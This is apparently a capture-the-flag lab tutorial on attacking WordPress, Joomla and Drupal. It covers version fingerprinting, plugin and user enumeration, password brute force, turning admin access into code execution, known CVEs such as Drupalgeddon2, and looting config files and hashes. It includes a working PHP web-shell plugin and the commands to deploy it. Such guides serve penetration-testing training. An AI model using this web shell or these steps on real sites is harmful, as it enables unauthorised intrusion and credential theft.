Attacking WordPress, Joomla and Drupal: from wpscan to RCE
Identify the CMS and its version, enumerate plugins and users with wpscan, joomscan and droopescan, and go from admin to shell on WordPress, Joomla and Drupal.
When a machine runs a CMS, the way in is almost always one of three: an old version with a CVE, a vulnerable plugin or credentials that get you into the admin panel, from where running code is trivial. This guide covers all three for WordPress, Joomla and Drupal, and works for any other CMS by changing the paths.
1. Which CMS and which version
Before running anything, read the source and the headers:
| Clue | CMS |
|---|---|
/wp-content/, /wp-login.php, <meta name="generator" content="WordPress 6.x"> |
WordPress |
/administrator/, /media/system/js/, cookies with hex names |
Joomla |
/sites/default/, /core/misc/drupal.js, X-Generator: Drupal header |
Drupal |
The exact version, without tools:
# WordPress: generator, RSS feed or the ?ver= on static files
curl -s http://target.htb/feed/ | grep -i generator
# Joomla: the manifest
curl -s http://target.htb/administrator/manifests/files/joomla.xml | grep -i '<version>'
# Drupal 7 and older; on 8+ look at the ?v= on .js files or try /core/install.php
curl -s http://target.htb/CHANGELOG.txt | head
With the version, look for exploits: searchsploit wordpress 5.0, the project's CHANGELOG or simply "CMS version exploit". The exploiting public CVEs guide explains how to read and adapt them.
2. Enumerating plugins, themes and users
# WordPress (the free wpscan.com token adds known vulnerabilities)
wpscan --url http://target.htb -e ap,at,u --plugins-detection aggressive --api-token $WPSCAN_TOKEN
# Joomla
joomscan -u http://target.htb
# Drupal
droopescan scan drupal -u http://target.htb
Tip
wpscan in passive mode misses many plugins. If nothing shows up, fuzz /wp-content/plugins/ with a plugin wordlist (SecLists ships wp-plugins.fuzz.txt) and read each plugin's readme.txt to get its version.
WordPress users also show up at /wp-json/wp/v2/users and at /?author=1, /?author=2... With them you can try weak passwords:
wpscan --url http://target.htb -U admin,editor -P /usr/share/wordlists/rockyou.txt
Before firing rockyou, look for credentials elsewhere: exposed config files (wp-config.php.bak, configuration.php~), an exposed .git or passwords reused from another service.
3. From the admin panel to a shell
With an admin account, running code is "allowed" by design:
| CMS | How | Where |
|---|---|---|
| WordPress | Edit a theme PHP file (for example 404.php) |
Appearance → Theme File Editor, then visit /wp-content/themes/<theme>/404.php |
| WordPress | Upload your own plugin as a ZIP | Plugins → Add New → Upload |
| Joomla | Edit a template and add PHP to error.php |
System → Site Templates |
| Drupal 7 | Enable the PHP filter module and create content with PHP | Modules → PHP filter |
| Drupal 8+ | Upload a malicious module | Extend → Install new module |
A minimal WordPress plugin that runs a command:
<?php
/* Plugin Name: utilities */
if (isset($_GET['c'])) { system($_GET['c']); }
Zip it (zip utilities.zip utilities.php), upload it, activate it and call /wp-content/plugins/utilities/utilities.php?c=id. From there, a reverse shell.
Warning
If the theme editor says it "was unable to communicate back with the site", WordPress is validating the PHP. Edit an inactive theme or upload the plugin instead: it is more reliable.
4. Famous CVEs that keep showing up
- Drupalgeddon2 (CVE-2018-7600): unauthenticated RCE on old Drupal 7 and 8. It is the way into Armageddon.
- Joomla CVE-2023-23752:
/api/index.php/v1/config/application?public=trueleaks the database password without authentication (Devvortex, Office). - WordPress plugins: most bugs live in plugins, not in the core. On Backdoor a plugin lets you read files (LFI), and from there you continue as in the LFI guide.
Once you are in
Read the CMS config file: it holds the database password, which is often reused by a system user.
| CMS | File |
|---|---|
| WordPress | wp-config.php |
| Joomla | configuration.php |
| Drupal | sites/default/settings.php |
The database holds the users' hashes (wp_users, #__users, users_field_data); crack them with hashcat as explained in hash cracking.